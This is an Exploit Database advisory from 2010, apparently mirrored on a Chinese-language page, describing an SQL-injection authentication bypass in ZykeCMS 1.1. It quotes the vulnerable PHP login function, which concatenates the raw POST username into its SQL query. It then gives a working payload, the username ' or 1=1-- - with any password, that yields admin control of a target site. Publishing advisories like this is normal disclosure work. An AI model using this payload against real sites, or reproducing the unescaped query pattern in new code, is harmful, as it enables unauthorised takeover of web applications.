Zyke CMS 1.1 – Authentication Bypass

• Exploit Database
• 17 阅读

• 作者： Giuseppe 'giudinvx' D'Inverno
  日期： 2010-04-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12262/

• ======================================================
  ZykeCMS V1.1 (Auth Bypass) SQL Injection Vulnerability
  ======================================================
  
  Author : Giuseppe 'giudinvx' D'Inverno
  Email : <giudinvx[at]gmail[dot]com>
  Date : 04-16-2010
  Site : http://www.giudinvx.altervista.org/
  Location : Naples, Italy
  
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  Application Info:
  Site : http://www.zykecms.com/
  Version: 1.1
  
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  [·] Vulnerable code in /zykecms/conf/functions.php | /zykecms/admin.php
  
  <?php
  // admin.php
  ··········
  if ($_POST['login'] != "" and $_POST['password'] != "")
  {
  if (check_login($_POST['login'], $_POST['password']) == true)
  {
  if ($_SESSION['function'] == 1)
  header('Location: admin/');
  else
  header('Location: ');
  
  $error_login = "";
  }
  else
  ··········
  //functions.php
  ··········
  function check_login($login, $password)
  {
  $sql = "SELECT * FROM users WHERE login='".$login."' AND
  password='".md5($password)."'";
  $result = mysql_query($sql);
  $num = mysql_num_rows($result);
  $data = mysql_fetch_array($result);
  // echo $sql;
  if ($num == 1)
  {
  session_start();
  $_SESSION['last_access']=time();
  $_SESSION['function']=$data['function'];
  $_SESSION['login']=$data['login'];
  $_SESSION['firstname']=$data['firstname'];
  $_SESSION['lastname']=$data['lastname'];
  $_SESSION['date']=$data['date'];
  $_SESSION['id']=$data['id'];
  return true;
  }
  else
  return false;
  }
  ·········
  ?>
  
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  [·] Exploit
  
  Frist of all join login page:
  
  http://[target]/[path]/admin.php
  
  Username: ' or 1=1-- -
  Password: 1
  
  Now have admin control.